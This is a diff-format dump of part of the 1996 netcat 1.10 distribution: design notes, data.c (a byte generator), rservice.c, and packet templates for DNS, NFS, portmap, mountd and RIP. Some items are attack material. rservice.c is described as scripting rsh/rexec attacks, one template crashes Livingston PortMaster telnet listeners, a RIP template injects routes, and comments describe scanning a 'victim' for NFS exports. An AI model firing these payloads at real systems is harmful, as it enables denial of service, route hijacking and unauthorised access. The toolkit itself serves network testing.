easy enough to check manually. Each function has a standard-format comment
|
||||||
|
ahead of it, which is easily found using the regexp " :$". I freely use gotos.
|
||||||
|
Loops and if-clauses are made as small and non-nested as possible, and the ends
|
||||||
|
of same *marked* for clarity [I wish everyone would do this!!].
|
||||||
|
|
||||||
|
Large structures and buffers are all malloc()ed up on the fly, slightly larger
|
||||||
|
than the size asked for and zeroed out. This reduces the chances of damage
|
||||||
|
from those "end of the buffer" fencepost errors or runaway pointers escaping
|
||||||
|
off the end. These things are permanent per run, so nothing needs to be freed
|
||||||
|
until the program exits.
|
||||||
|
|
||||||
|
File descriptor zero is always expected to be standard input, even if it is
|
||||||
|
closed. If a new network descriptor winds up being zero, a different one is
|
||||||
|
asked for which will be nonzero, and fd zero is simply left kicking around
|
||||||
|
for the rest of the run. Why? Because everything else assumes that stdin is
|
||||||
|
always zero and "netfd" is always positive. This may seem silly, but it was a
|
||||||
|
lot easier to code. The new fd is obtained directly as a new socket, because
|
||||||
|
trying to simply dup() a new fd broke subsequent socket-style use of the new fd
|
||||||
|
under Solaris' stupid streams handling in the socket library.
|
||||||
|
|
||||||
|
The catch-all message and error handlers are implemented with an ample list of
|
||||||
|
phoney arguments to get around various problems with varargs. Varargs seems
|
||||||
|
like deliberate obfuscation in the first place, and using it would also
|
||||||
|
require use of vfprintf() which not all platforms support. The trailing
|
||||||
|
sleep in bail() is to allow output to flush, which is sometimes needed if
|
||||||
|
netcat is already on the other end of a network connection.
|
||||||
|
|
||||||
|
The reader may notice that the section that does DNS lookups seems much
|
||||||
|
gnarlier and more confusing than other parts. This is NOT MY FAULT. The
|
||||||
|
sockaddr and hostent abstractions are an abortion that forces the coder to
|
||||||
|
deal with it. Then again, a lot of BSD kernel code looks like similar
|
||||||
|
struct-pointer hell. I try to straighten it out somewhat by defining my own
|
||||||
|
HINF structure, containing names, ascii-format IP addresses, and binary IP
|
||||||
|
addresses. I fill this structure exactly once per host argument, and squirrel
|
||||||
|
everything safely away and handy for whatever wants to reference it later.
|
||||||
|
|
||||||
|
Where many other network apps use the FIONBIO ioctl to set non-blocking I/O
|
||||||
|
on network sockets, netcat uses straightforward blocking I/O everywhere.
|
||||||
|
This makes everything very lock-step, relying on the network and filesystem
|
||||||
|
layers to feed in data when needed. Data read in is completely written out
|
||||||
|
before any more is fetched. This may not be quite the right thing to do under
|
||||||
|
some OSes that don't do timed select() right, but this remains to be seen.
|
||||||
|
|
||||||
|
The hexdump routine is written to be as fast as possible, which is why it does
|
||||||
|
so much work itself instead of just sprintf()ing everything together. Each
|
||||||
|
dump line is built into a single buffer and atomically written out using the
|
||||||
|
lowest level I/O calls. Further improvements could undoubtedly be made by
|
||||||
|
using writev() and eliminating all sprintf()s, but it seems to fly right along
|
||||||
|
as is. If both exec-a-prog mode and a hexdump file is asked for, the hexdump
|
||||||
|
flag is deliberately turned off to avoid creating random zero-length files.
|
||||||
|
Files are opened in "truncate" mode; if you want "append" mode instead, change
|
||||||
|
the open flags in main().
|
||||||
|
|
||||||
|
main() may look a bit hairy, but that's only because it has to go down the
|
||||||
|
argv list and handle multiple ports, random mode, and exit status. Efforts
|
||||||
|
have been made to place a minimum of code inside the getopt() loop. Any real
|
||||||
|
work is sent off to functions in what is hopefully a straightforward way.
|
||||||
|
|
||||||
|
Obligatory vendor-bash: If "nc" had become a standard utility years ago,
|
||||||
|
the commercial vendors would have likely packaged it setuid root and with
|
||||||
|
-DGAPING_SECURITY_HOLE turned on but not documented. It is hoped that netcat
|
||||||
|
will aid people in finding and fixing the no-brainer holes of this sort that
|
||||||
|
keep appearing, by allowing easier experimentation with the "bare metal" of
|
||||||
|
the network layer.
|
||||||
|
|
||||||
|
It could be argued that netcat already has too many features. I have tried
|
||||||
|
to avoid "feature creep" by limiting netcat's base functionality only to those
|
||||||
|
things which are truly relevant to making network connections and the everyday
|
||||||
|
associated DNS lossage we're used to. Option switches already have slightly
|
||||||
|
overloaded functionality. Random port mode is sort of pushing it. The
|
||||||
|
hex-dump feature went in later because it *is* genuinely useful. The
|
||||||
|
telnet-responder code *almost* verges on the gratuitous, especially since it
|
||||||
|
mucks with the data stream, and is left as an optional piece. Many people have
|
||||||
|
asked for example "how 'bout adding encryption?" and my response is that such
|
||||||
|
things should be separate entities that could pipe their data *through* netcat
|
||||||
|
instead of having their own networking code. I am therefore not completely
|
||||||
|
enthusiastic about adding any more features to this thing, although you are
|
||||||
|
still free to send along any mods you think are useful.
|
||||||
|
|
||||||
|
Nonetheless, at this point I think of netcat as my tcp/ip swiss army knife,
|
||||||
|
and the numerous companion programs and scripts to go with it as duct tape.
|
||||||
|
Duct tape of course has a light side and a dark side and binds the universe
|
||||||
|
together, and if I wrap enough of it around what I'm trying to accomplish,
|
||||||
|
it *will* work. Alternatively, if netcat is a large hammer, there are many
|
||||||
|
network protocols that are increasingly looking like nails by now...
|
||||||
|
|
||||||
|
_H* 960320 v1.10 RELEASE -- happy spring!
|
|
@ -0,0 +1,10 @@
|
||||||
|
all: data rservice xor
|
||||||
|
|
||||||
|
data: data.c
|
||||||
|
cc -s -O -o data data.c
|
||||||
|
rservice: rservice.c
|
||||||
|
cc -s -O -o rservice rservice.c
|
||||||
|
xor: xor.c
|
||||||
|
cc -s -O -o xor xor.c
|
||||||
|
clean:
|
||||||
|
rm -f *.o data rservice xor
|
|
@ -0,0 +1,9 @@
|
||||||
|
For now, read the header comments inside each of these for documentation.
|
||||||
|
The programs are simple enough that they don't really need a Makefile any more
|
||||||
|
complex than the one given; ymmv. Data and xor may also be useful on DOS,
|
||||||
|
which is why there are hooks for it in the code.
|
||||||
|
|
||||||
|
data.c a primitive atob / btoa byte generator
|
||||||
|
*.d example input to "data -g"
|
||||||
|
rservice.c a utility for scripting up rsh/rexec attacks
|
||||||
|
xor.c generic xor handler
|
|
@ -0,0 +1,274 @@
|
||||||
|
/* primitive arbitrary-data frontend for netcat. 0.9 960226
|
||||||
|
only handles one value per ascii line, but at least parses 0xNN too
|
||||||
|
an input line containing "%r" during "-g" generates a random byte
|
||||||
|
|
||||||
|
todo:
|
||||||
|
make work on msloss jus' for kicks [workin' on it...]
|
||||||
|
|
||||||
|
syntax: data -X [limit]
|
||||||
|
where X is one of
|
||||||
|
d: dump raw bytes to ascii format
|
||||||
|
g: generate raw bytes from ascii input
|
||||||
|
c: generate ??? of value -- NOTYET
|
||||||
|
r: generate all random bytes
|
||||||
|
and limit is how many bytes to generate or dump [unspecified = infinite]
|
||||||
|
|
||||||
|
*Hobbit*, started 951004 or so and randomly screwed around with since */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#ifdef MSDOS /* for MSC only at the moment... */
|
||||||
|
#include <fcntl.h>
|
||||||
|
#else /* MSDOS */
|
||||||
|
#include <sys/file.h>
|
||||||
|
#define HAVE_RANDOM /* XXX: might have to change */
|
||||||
|
#endif /* MSDOS */
|
||||||
|
|
||||||
|
static char buf_in [128];
|
||||||
|
static char buf_raw [8192];
|
||||||
|
static char surveysez[] = "survey sez... XXX\n";
|
||||||
|
|
||||||
|
/* fgetss :
|
||||||
|
wrapper for fgets, that yanks trailing newlines. Doing the work ourselves
|
||||||
|
instead of calling strchr/strlen/whatever */
|
||||||
|
char * fgetss (buf, len, from)
|
||||||
|
char * buf;
|
||||||
|
size_t len;
|
||||||
|
FILE * from;
|
||||||
|
{
|
||||||
|
register int x;
|
||||||
|
register char * p, * q;
|
||||||
|
p = fgets (buf, len, from); /* returns ptr to buf */
|
||||||
|
if (! p)
|
||||||
|
return (NULL);
|
||||||
|
q = p;
|
||||||
|
for (x = 0; x < len; x++) {
|
||||||
|
*p = (*p & 0x7f); /* rip parity, just in case */
|
||||||
|
switch (*p) {
|
||||||
|
case '\n':
|
||||||
|
case '\r':
|
||||||
|
case '\0':
|
||||||
|
*p = '\0';
|
||||||
|
return (q);
|
||||||
|
} /* switch */
|
||||||
|
p++;
|
||||||
|
} /* for */
|
||||||
|
} /* fgetss */
|
||||||
|
|
||||||
|
/* randint:
|
||||||
|
swiped from rndb.c. Generates an INT, you have to mask down to char. */
|
||||||
|
int randint()
|
||||||
|
{
|
||||||
|
register int q;
|
||||||
|
register int x;
|
||||||
|
|
||||||
|
#ifndef HAVE_RANDOM
|
||||||
|
q = rand();
|
||||||
|
#else
|
||||||
|
q = random();
|
||||||
|
#endif
|
||||||
|
x = ((q >> 8) & 0xff); /* perturb low byte using some higher bits */
|
||||||
|
x = q ^ x;
|
||||||
|
return (x);
|
||||||
|
}
|
||||||
|
|
||||||
|
main (argc, argv)
|
||||||
|
int argc;
|
||||||
|
char ** argv;
|
||||||
|
{
|
||||||
|
register unsigned char * p;
|
||||||
|
register char * q;
|
||||||
|
register int x;
|
||||||
|
int bc = 0;
|
||||||
|
int limit = 0; /* num to gen, or 0 = infinite */
|
||||||
|
register int xlimit; /* running limit */
|
||||||
|
FILE * txt; /* line-by-line ascii file */
|
||||||
|
int raw; /* raw bytes fd */
|
||||||
|
int dumping = 0; /* cmd flags ... */
|
||||||
|
int genning = 0;
|
||||||
|
int randing = 0;
|
||||||
|
|
||||||
|
memset (buf_in, 0, sizeof (buf_in));
|
||||||
|
memset (buf_raw, 0, sizeof (buf_raw));
|
||||||
|
|
||||||
|
xlimit = 1; /* doubles as "exit flag" */
|
||||||
|
bc = 1; /* preload, assuming "dump" */
|
||||||
|
x = getpid() + 687319;
|
||||||
|
/* if your library doesnt have srandom/random, use srand/rand. [from rnd.c] */
|
||||||
|
#ifndef HAVE_RANDOM
|
||||||
|
srand (time(0) + x);
|
||||||
|
#else
|
||||||
|
srandom (time(0) + x);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef O_BINARY
|
||||||
|
/* DOS stupidity */
|
||||||
|
/* Aha: *here's* where that setmode() lib call conflict in ?BSD came from */
|
||||||
|
x = setmode (0, O_BINARY); /* make stdin raw */
|
||||||
|
if (x < 0) {
|
||||||
|
fprintf (stderr, "stdin binary setmode oops: %d\n", x);
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
x = setmode (1, O_BINARY); /* make stdout raw */
|
||||||
|
if (x < 0) {
|
||||||
|
fprintf (stderr, "stdout binary setmode oops: %d\n", x);
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
#endif /* O_BINARY */
|
||||||
|
|
||||||
|
if (argv[1]) {
|
||||||
|
p = argv[1]; /* shit-simple single arg parser... */
|
||||||
|
if (*p == '-') /* dash is optional, we'll deal */
|
||||||
|
p++;
|
||||||
|
if (*p == 'd')
|
||||||
|
dumping++;
|
||||||
|
if (*p == 'g')
|
||||||
|
genning++;
|
||||||
|
if (*p == 'r')
|
||||||
|
randing++;
|
||||||
|
} /* if argv 1 */
|
||||||
|
|
||||||
|
/* optional second argument: limit # of bytes shoveled either way */
|
||||||
|
if (argv[2]) {
|
||||||
|
x = atoi (argv[2]);
|
||||||
|
if (x)
|
||||||
|
limit = x;
|
||||||
|
else
|
||||||
|
goto wrong;
|
||||||
|
xlimit = limit;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Since this prog would likely best be written in assmbler, I'm gonna
|
||||||
|
write it *like* assembler. So there. */
|
||||||
|
|
||||||
|
if (randing)
|
||||||
|
goto do_rand;
|
||||||
|
|
||||||
|
nextbuf: /* loop sleaze */
|
||||||
|
|
||||||
|
if (dumping) { /* switch off to wherever */
|
||||||
|
if (genning)
|
||||||
|
goto wrong;
|
||||||
|
goto do_dump;
|
||||||
|
}
|
||||||
|
if (genning)
|
||||||
|
goto do_gen;
|
||||||
|
wrong:
|
||||||
|
fprintf (stderr, surveysez); /* if both or neither */
|
||||||
|
exit (1);
|
||||||
|
|
||||||
|
do_gen:
|
||||||
|
/* here if genning -- original functionality */
|
||||||
|
q = buf_raw;
|
||||||
|
bc = 0;
|
||||||
|
/* suck up lines until eof or buf_raw is full */
|
||||||
|
while (1) {
|
||||||
|
p = fgetss (buf_in, 120, stdin);
|
||||||
|
if (! p)
|
||||||
|
break; /* EOF */
|
||||||
|
/* super-primitive version first: one thingie per line */
|
||||||
|
if (*p == '#') /* comment */
|
||||||
|
continue;
|
||||||
|
if (*p == '\0') /* blank line */
|
||||||
|
continue;
|
||||||
|
if (*p == '%') { /* escape char? */
|
||||||
|
p++;
|
||||||
|
if (*p == 'r') { /* random byte */
|
||||||
|
x = randint();
|
||||||
|
goto stuff;
|
||||||
|
} /* %r */
|
||||||
|
} /* if "%" escape */
|
||||||
|
if (*p == '0')
|
||||||
|
if (*(p+1) == 'x') /* 0x?? */
|
||||||
|
goto hex;
|
||||||
|
x = atoi (p); /* reg'lar decimal number */
|
||||||
|
goto stuff;
|
||||||
|
|
||||||
|
hex:
|
||||||
|
/* A 65 a 97 */
|
||||||
|
/* xxx: use a conversion table for this or something. Since we ripped the
|
||||||
|
parity bit, we only need a preset array of 128 with downconversion factors
|
||||||
|
loaded in *once*. maybe look at scanf... */
|
||||||
|
p++; p++; /* point at hex-chars */
|
||||||
|
x = 0;
|
||||||
|
if ((*p > 96) && (*p < 123)) /* a-z */
|
||||||
|
*p = (*p - 32); /* this is massively clumsy */
|
||||||
|
if ((*p > 64) && (*p < 71)) /* A-F */
|
||||||
|
x = (*p - 55);
|
||||||
|
if ((*p > 47) && (*p < 58)) /* digits */
|
||||||
|
x = (*p - 48);
|
||||||
|
p++;
|
||||||
|
if (*p) /* another digit? */
|
||||||
|
x = (x << 4); /* shift to hi half */
|
||||||
|
if ((*p > 96) && (*p < 123)) /* a-z */
|
||||||
|
*p = (*p - 32);
|
||||||
|
if ((*p > 64) && (*p < 71)) /* A-F */
|
||||||
|
x = (x | (*p - 55)); /* lo half */
|
||||||
|
if ((*p > 47) && (*p < 58)) /* digits */
|
||||||
|
x = (x | (*p - 48));
|
||||||
|
|
||||||
|
/* fall thru */
|
||||||
|
stuff: /* cvt to byte and add to buffer */
|
||||||
|
*q = (x & 0xff);
|
||||||
|
q++;
|
||||||
|
bc++;
|
||||||
|
if (limit) {
|
||||||
|
xlimit--;
|
||||||
|
if (xlimit == 0) /* max num reached */
|
||||||
|
break;
|
||||||
|
} /* limit */
|
||||||
|
if (bc >= sizeof (buf_raw)) /* buffer full */
|
||||||
|
break;
|
||||||
|
} /* while 1 */
|
||||||
|
|
||||||
|
/* now in theory we have our buffer formed; shovel it out */
|
||||||
|
x = write (1, buf_raw, bc);
|
||||||
|
if (x <= 0) {
|
||||||
|
fprintf (stderr, "write oops: %d\n", x);
|
||||||
|
exit (1);
|
||||||
|
}
|
||||||
|
if (xlimit && p)
|
||||||
|
goto nextbuf; /* go get some more */
|
||||||
|
exit (0);
|
||||||
|
|
||||||
|
do_dump:
|
||||||
|
/* here if dumping raw stuff into an ascii file */
|
||||||
|
/* gad, this is *so* much simpler! can we say "don't rewrite printf"? */
|
||||||
|
x = read (0, buf_raw, 8192);
|
||||||
|
if (x <= 0)
|
||||||
|
exit (0);
|
||||||
|
q = buf_raw;
|
||||||
|
for ( ; x > 0; x--) {
|
||||||
|
p = q;
|
||||||
|
printf ("%-3.3d # 0x%-2.2x # ", *p, *p);
|
||||||
|
if ((*p > 31) && (*p < 127))
|
||||||
|
printf ("%c %d\n", *p, bc);
|
||||||
|
else
|
||||||
|
printf (". %d\n", bc);
|
||||||
|
q++;
|
||||||
|
bc++;
|
||||||
|
if (limit) {
|
||||||
|
xlimit--;
|
||||||
|
if (xlimit == 0) {
|
||||||
|
fflush (stdout);
|
||||||
|
exit (0);
|
||||||
|
}
|
||||||
|
} /* limit */
|
||||||
|
} /* for */
|
||||||
|
goto nextbuf;
|
||||||
|
|
||||||
|
do_rand:
|
||||||
|
/* here if generating all-random bytes. Stays in this loop */
|
||||||
|
p = buf_raw;
|
||||||
|
while (1) {
|
||||||
|
*p = (randint() & 0xff);
|
||||||
|
write (1, p, 1); /* makes very slow! */
|
||||||
|
if (limit) {
|
||||||
|
xlimit--;
|
||||||
|
if (xlimit == 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} /* while */
|
||||||
|
exit (0);
|
||||||
|
|
||||||
|
} /* main */
|
|
@ -0,0 +1,36 @@
|
||||||
|
# dns "any for ." query, to udp 53
|
||||||
|
# if tcp: precede with 2 bytes of len:
|
||||||
|
# 0
|
||||||
|
# 17
|
||||||
|
# you should get at least *one* record back out
|
||||||
|
|
||||||
|
# HEADER:
|
||||||
|
0 # query id = 2
|
||||||
|
2
|
||||||
|
|
||||||
|
1 # flags/opcodes = query, dorecurse
|
||||||
|
0
|
||||||
|
|
||||||
|
0 # qdcount, i.e. nqueries: 1
|
||||||
|
1
|
||||||
|
|
||||||
|
0 # ancount: answers, 0
|
||||||
|
0
|
||||||
|
|
||||||
|
0 # nscount: 0
|
||||||
|
0
|
||||||
|
|
||||||
|
0 # addl records: 0
|
||||||
|
0
|
||||||
|
|
||||||
|
# end of fixed header
|
||||||
|
|
||||||
|
0 # name-len: 0 for ".", lenbyte plus name-bytes otherwise
|
||||||
|
|
||||||
|
0 # type: any, 255
|
||||||
|
0xff
|
||||||
|
|
||||||
|
0 # class: IN
|
||||||
|
1
|
||||||
|
|
||||||
|
# i think that's it..
|
|
@ -0,0 +1,59 @@
|
||||||
|
# UDP NFS null-proc call; finds active NFS listeners on port 2049.
|
||||||
|
# If you get *something* back, there's an NFS server there.
|
||||||
|
|
||||||
|
000 # XID: 4 trash bytes
|
||||||
|
001
|
||||||
|
002
|
||||||
|
003
|
||||||
|
|
||||||
|
000 # CALL: 0
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # RPC version: 2
|
||||||
|
000
|
||||||
|
000
|
||||||
|
002
|
||||||
|
|
||||||
|
000 # nfs: 100003
|
||||||
|
001
|
||||||
|
0x86
|
||||||
|
0xa3
|
||||||
|
|
||||||
|
000 # version: 1
|
||||||
|
000
|
||||||
|
000
|
||||||
|
001
|
||||||
|
|
||||||
|
000 # procedure number: 0
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # port: junk
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # auth trash
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # extra auth trash? probably not needed
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
# that's it!
|
|
@ -0,0 +1,8 @@
|
||||||
|
# obligatory duplicate of dr delete's Livingston portmaster crash, aka
|
||||||
|
# telnet break. Fire into its telnet listener. An *old* bug by now, but
|
||||||
|
# consider the small window one might obtain from a slightly out-of-rev PM
|
||||||
|
# used as a firewall, that starts routing IP traffic BEFORE its filter sets
|
||||||
|
# are fully loaded...
|
||||||
|
|
||||||
|
255 # 0xff # . 1
|
||||||
|
243 # 0xf3 # . 2
|
|
@ -0,0 +1,60 @@
|
||||||
|
# portmap dump request: like "rpcinfo -p" but via UDP instead
|
||||||
|
# send to UDP 111 and hope it's not a logging portmapper!
|
||||||
|
# split into longwords, since rpc apparently only deals with them
|
||||||
|
|
||||||
|
001 # 0x01 # . # XID: 4 trash bytes
|
||||||
|
002 # 0x02 # .
|
||||||
|
003 # 0x03 # .
|
||||||
|
004 # 0x04 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # MSG: int 0=call, 1=reply
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: rpc version=2
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
002 # 0x02 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
|
||||||
|
001 # 0x01 # .
|
||||||
|
134 # 0x86 # .
|
||||||
|
160 # 0xa0 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: progversion=2
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
002 # 0x02 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: proc=DUMP, 4
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
004 # 0x04 # .
|
||||||
|
|
||||||
|
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
# The reply you get back contains your XID, int 1 if "accepted", and
|
||||||
|
# a whole mess of gobbledygook containing program numbers, versions,
|
||||||
|
# and ports that rpcinfo knows how to decode. For the moment, you get
|
||||||
|
# to wade through it yourself...
|
|
@ -0,0 +1,78 @@
|
||||||
|
# portmap request for mountd [or whatever; see where prog=MOUNT]
|
||||||
|
# send to UDP 111 and hope it's not a logging portmapper!
|
||||||
|
# split into longwords, since rpc apparently only deals with them
|
||||||
|
|
||||||
|
001 # 0x01 # . # XID: 4 trash bytes
|
||||||
|
002 # 0x02 # .
|
||||||
|
003 # 0x03 # .
|
||||||
|
004 # 0x04 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # MSG: int 0=call, 1=reply
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: rpc version=2
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
002 # 0x02 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: prog=PMAP, 100000
|
||||||
|
001 # 0x01 # .
|
||||||
|
134 # 0x86 # .
|
||||||
|
160 # 0xa0 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: progversion=2
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
002 # 0x02 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # pmap call body: proc=GETPORT, 3
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
003 # 0x03 # .
|
||||||
|
|
||||||
|
# with AUTH_NONE, there are 4 zero integers [16 bytes] here
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk: cb_cred: auth_unix = 1; NONE = 0
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # auth junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # prog=MOUNT, 100005
|
||||||
|
001 # 0x01 # .
|
||||||
|
134 # 0x86 # .
|
||||||
|
165 # 0xa5 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # progversion=1
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
001 # 0x01 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # protocol=udp, 17
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
017 # 0x11 # .
|
||||||
|
|
||||||
|
000 # 0x00 # . # proc num = junk
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
000 # 0x00 # .
|
||||||
|
|
||||||
|
# The reply you get back contains your XID, int 1 if "accepted", and
|
||||||
|
# mountd's port number at the end or 0 if not registered.
|
|
@ -0,0 +1,52 @@
|
||||||
|
# struct netinfo {
|
||||||
|
# struct sockaddr rip_dst; /* destination net/host */
|
||||||
|
# int rip_metric; /* cost of route */
|
||||||
|
# };
|
||||||
|
# struct rip {
|
||||||
|
# u_char rip_cmd; /* request/response */
|
||||||
|
# u_char rip_vers; /* protocol version # */
|
||||||
|
# u_char rip_res1[2]; /* pad to 32-bit boundary */
|
||||||
|
# union {
|
||||||
|
# struct netinfo ru_nets[1]; /* variable length... */
|
||||||
|
# char ru_tracefile[1]; /* ditto ... */
|
||||||
|
# } ripun;
|
||||||
|
#define rip_nets ripun.ru_nets
|
||||||
|
#define rip_tracefile ripun.ru_tracefile
|
||||||
|
#define RIPCMD_REQUEST 1 /* want info */
|
||||||
|
#define RIPCMD_RESPONSE 2 /* responding to request */
|
||||||
|
#define RIPCMD_TRACEON 3 /* turn tracing on */
|
||||||
|
#define RIPCMD_TRACEOFF 4 /* turn it off */
|
||||||
|
#define HOPCNT_INFINITY 16 /* per Xerox NS */
|
||||||
|
#define MAXPACKETSIZE 512 /* max broadcast size */
|
||||||
|
|
||||||
|
### RIP packet redux
|
||||||
|
### UDP send FROM clued-rtr/520 to target/520
|
||||||
|
2 # RIPCMD_RESPONSE
|
||||||
|
1 # version
|
||||||
|
0 # padding
|
||||||
|
0
|
||||||
|
|
||||||
|
# sockaddr-plus-metric structs begin, as many as necessary...
|
||||||
|
0 # len
|
||||||
|
2 # AF_INET
|
||||||
|
0 # port
|
||||||
|
0
|
||||||
|
# addr bytes:
|
||||||
|
X
|
||||||
|
Y
|
||||||
|
Z
|
||||||
|
Q
|
||||||
|
0 # filler, out to 16 bytes [sizeof (sockaddr)] ...
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0
|
||||||
|
0 # metric: net-order integer
|
||||||
|
0
|
||||||
|
0
|
||||||
|
1
|
||||||
|
|
||||||
|
## that's it
|
|
@ -0,0 +1,68 @@
|
||||||
|
/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
|
||||||
|
rsh/rexec attacks. Needs to be a prog because shells strip out nulls.
|
||||||
|
|
||||||
|
args:
|
||||||
|
locuser remuser [cmd]
|
||||||
|
remuser passwd [cmd]
|
||||||
|
|
||||||
|
cmd defaults to "pwd".
|
||||||
|
|
||||||
|
... whatever. _H*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
/* change if you like; "id" is a good one for figuring out if you won too */
|
||||||
|
static char cmd[] = "pwd";
|
||||||
|
|
||||||
|
static char buf [256];
|
||||||
|
|
||||||
|
main(argc, argv)
|
||||||
|
int argc;
|
||||||
|
char * argv[];
|
||||||
|
{
|
||||||
|
register int x;
|
||||||
|
register int y;
|
||||||
|
char * p;
|
||||||
|
char * q;
|
||||||
|
|
||||||
|
p = buf;
|
||||||
|
memset (buf, 0, 256);
|
||||||
|
|
||||||
|
p++; /* first null */
|
||||||
|
y = 1;
|
||||||
|
|
||||||
|
if (! argv[1])
|
||||||
|
goto wrong;
|
||||||
|
x = strlen (argv[1]);
|
||||||
|
memcpy (p, argv[1], x); /* first arg plus another null */
|
||||||
|
x++;
|
||||||
|
p += x;
|
||||||
|
y += x;
|
||||||
|
|
||||||
|
if (! argv[2])
|
||||||
|
goto wrong;
|
||||||
|
x = strlen (argv[2]);
|
||||||
|
memcpy (p, argv[2], x); /* second arg plus null */
|
||||||
|
x++;
|
||||||
|
p += x;
|
||||||
|
y += x;
|
||||||
|
|
||||||
|
q = cmd;
|
||||||
|
if (argv[3])
|
||||||
|
q = argv[3];
|
||||||
|
x = strlen (q); /* not checked -- bfd */
|
||||||
|
memcpy (p, q, x); /* the command, plus final null */
|
||||||
|
x++;
|
||||||
|
p += x;
|
||||||
|
y += x;
|
||||||
|
|
||||||
|
memcpy (p, "\n", 1); /* and a newline, so it goes */
|
||||||
|
y++;
|
||||||
|
|
||||||
|
write (1, buf, y); /* zot! */
|
||||||
|
exit (0);
|
||||||
|
|
||||||
|
wrong:
|
||||||
|
fprintf (stderr, "wrong! needs 2 or more args.\n");
|
||||||
|
exit (1);
|
||||||
|
}
|
|
@ -0,0 +1,63 @@
|
||||||
|
# UDP mountd call. Use as input to find mount daemons and avoid portmap.
|
||||||
|
# Useful proc numbers are 2, 5, and 6.
|
||||||
|
# UDP-scan around between 600-800 to find most mount daemons.
|
||||||
|
# Using this with "2", plugged into "nc -u -v -w 2 victim X-Y" will
|
||||||
|
# directly scan *and* dump the current exports when mountd is hit.
|
||||||
|
# combine stdout *and* stderr thru "strings" or something to clean it up
|
||||||
|
|
||||||
|
000 # XID: 4 trash bytes
|
||||||
|
001
|
||||||
|
002
|
||||||
|
003
|
||||||
|
|
||||||
|
000 # CALL: 0
|
||||||
|
000
|
||||||
|
000
|
||||||
|
000
|
||||||
|
|
||||||
|
000 # RPC version: 2
|
||||||
|
000
|
||||||
|
000
|
||||||
|
002
|
||||||
|
|
||||||
|
000 # mount: 100005
|
||||||
|
001
|
||||||
|
0x86
|
||||||
|
0xa5
|
||||||
